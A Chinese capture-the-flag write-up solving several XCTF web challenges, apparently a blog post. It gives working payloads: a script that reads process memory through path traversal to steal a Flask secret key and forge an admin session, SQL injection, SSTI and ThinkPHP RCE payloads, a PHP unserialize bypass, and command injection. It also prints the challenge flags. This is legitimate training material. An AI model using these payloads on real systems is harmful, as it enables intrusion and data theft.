攻防世界-Web难度2详细完整writeup
加油! ------2024-01-14 18:41:54
catcat-new
猜测有任意文件读取漏洞
成功,说明有任意文件读取命令
该文件储存了该Linux系统中所有用户的一些基本信息,只有root权限才可以修改。其具体格式为 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell(以冒号作为分隔符)
-
*/proc/self*
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据。
-
/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数。
-
/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。
-
/proc/self/maps
发现是python,这个网站应该是python搭的,app.py说明它是flask框架。
建议看一下我写的flask伪造的文章:https://www.cnblogs.com/AllFalls/p/17964031
尝试读取app.py
下面的是源码:
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
session伪造的必要条件是获取SECRET_KEY。python存储对象的位置在堆上。app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem
得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps
获取堆栈分布,结合maps的映射信息来确定读的偏移值.大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag.
太难了,我不会。
参考这篇文章:https://blog.csdn.net/Fightever_/article/details/134003106
一下是脚本
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:60014/"
# 此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
# ----------------session 伪造,单独用也可以考虑这个库: https://github.com/noraj/flask-session-cookie-manager ----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
# Encode a Flask session cookie
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
# -------------------------------------------
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
# 设置session中admin的值为1
data = '{"admin":1}'
# 伪造session
headers = {
"Cookie": "session=" + FSCM.encode(s_key, data)
}
# 请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")
————————————————
版权声明:本文为CSDN博主「青梅煮酒与君饮」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Fightever_/article/details/134003106
maps里面就是这东西,. r-xp用于.text. rw -p用于.data / .bss / heap / stack.
,pythonflask用到的是堆。
醉了,用脚本死活爆破不出来,今天先放弃了!
下面这个脚本可以!建议参考一下题解:https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1706001615005
# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月14日
"""
import requests
import re
baseUrl = "http://61.147.171.105:62284/info?file=../../../../.."
if __name__ == "__main__":
url = baseUrl + "/proc/self/maps"
memInfoList = requests.get(url).text.split("\\n")
mem = ""
for i in memInfoList:
memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if memAddress:
start = int(memAddress.group(1), 16)
end = int(memAddress.group(2), 16)
infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
mem = requests.get(infoUrl).text
if re.findall(r"{[\w]+}", mem):
print(re.findall(r"\w+{\w+}", mem))
得到flag:catctf{Catch_the_c4t_HaHa}
web2
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
rot13相当于移位13位,那么再rot13一次就是相当于还原。
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$a=str_rot13($miwen);
$a=strrev($a);
$a=base64_decode($a);
$_="";
for($_0=0;$_0<strlen($a);$_0++){
$_c=substr($a,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
// echo $_o;
?>
得到flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
upload1
前段检验,形同虚设。
点击check,删掉就行了。刷新一下就能上传了!
蚁剑连接拿到flag。
NewsCenter
回显位2,3
-1' union select 1,2,database()#
回显news
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news' -- a
-1' union select 1,id,fl4g from news.secret_table-- a得到flag
Web_python_template_injection
关于模版注入,推荐这个:模版注入
poc: /{{10+10}}
证明有模版漏洞
几种常用于ssti的魔术方法:
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析
__base__ 返回该对象所继承的基类
(__base__和__mro__都是用来寻找基类的)
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__builtins__ builtins就是引用
{{''.__class__.__mro__}}
返回基类,发现object是第三个。
{{''.__class__.__mro__[2].__subclasses__()}}
查看object的所有子类,看有没有可以利用的。有很多,放到notepad++里,进行换行操作
查找file,在第41行 ---》[40]
。可以进行利用。{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
成功读取。但是不知道flag的文件名,还是无法读取。
有os。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
文件名叫fl4g.直接读取
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
得到flag:
ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
CVE-2016-7124当对象属性的个数大于真实属性的时候,会跳过__wakeup函数
preg_match('/[oc]:\d+:/i', $var)
这句话就是不能出现O:数字。那么在数字前面加个+就可以绕过。
class Demo
{
private $file ='';
public function __construct()
{
$this->file ="fl4g.php";
}
}
//the secret is in the fl4g.php
$a=new Demo();
$b=serialize($a);
echo $b;
$s=str_replace('O:4','O:+4',$b);
$s=str_replace(':1:',':2:',$s);
echo "\n".$s;echo "\n";echo urlencode(base64_encode($s));
?>
Web_php_include
过略了php伪协议。我们用data协议。
$_SERVER['DOCUMENT_ROOT'] 当前脚本的绝对路径
http://61.147.171.105:60475/?page=data://text/plain,%3C?php%20echo $_SERVER['DOCUMENT_ROOT'];?%3E
结合print_r和scandir
?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
回显为以下内容Array ( [0] => . [1] => .. [2] => fl4gisisish3r3.php [3] => index.php [4] => phpinfo.php )
page=data://text/plain,<?php echo file_get_contents('fl4gisisish3r3.php');?>
输入这个无回显。但是代码是正确的。猜测被当作html代码被执行。用htmlspecialschars。用show_source也可以
page=data://text/plain,<?php echo htmlspecialchars(file_get_contents('fl4gisisish3r3.php'));?>
最终得到flag。flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
xff_referer
建议用hackbar改。
推荐读一下这个https://blog.csdn.net/2301_77485708/article/details/130793940
改请求头的xxf。
改referer
得到flag,cyberpeace{fb72e5244866f2cb426ad4faf55dd13c}
command_execution
127.0.0.1;ls /
没有找到flag字样
最后用cat查看home下的flag.txt文件。
也可以用find / -name flag查找具体位置.ps:但是我一直在加载中,搞不了一点。
php_rce
呦呦呦,一进去就是这玩意?直接php代码执行漏洞走起。太兴奋了啊!
通用pauload
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag
查找
后面放上你的payload
得到flag:flag{thinkphp5_rce}
supersqli
1' or 1=1# 取出当前表所有数据
输入-1' union select 1,2,3#,提示过滤了
使用堆叠注入
-1';show databases#
得到表:
"ctftraining"
"information_schema"
"mysql"
"performance_schema"
"supersqli"
"test"
';show tables;显示当前表
"1919810931114514"
"words"
无法查询的话,我们就用改名的方法。把我们需要的表改成它刚开始查询的表。
查询supersqli发现这两个表
查询那个奇怪的数字
1';show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
这个就是我们需要的表。
将words改名为word1,把那个数字改成words。同时将列名改成id
1'; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#
然后再万能密码查询所有信息
得到flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9}
这道题除了改表名。还可以进行handler查询法。
https://www.codenong.com/cs110469781/
1';handler `1919810931114514` open;handler `1919810931114514` read first;
warmup
在其他文章已写。
https://www.cnblogs.com/AllFalls/articles/17961787#_label2
flag:
flag{25e7bce6005c4e0c983fb97297ac6e5a}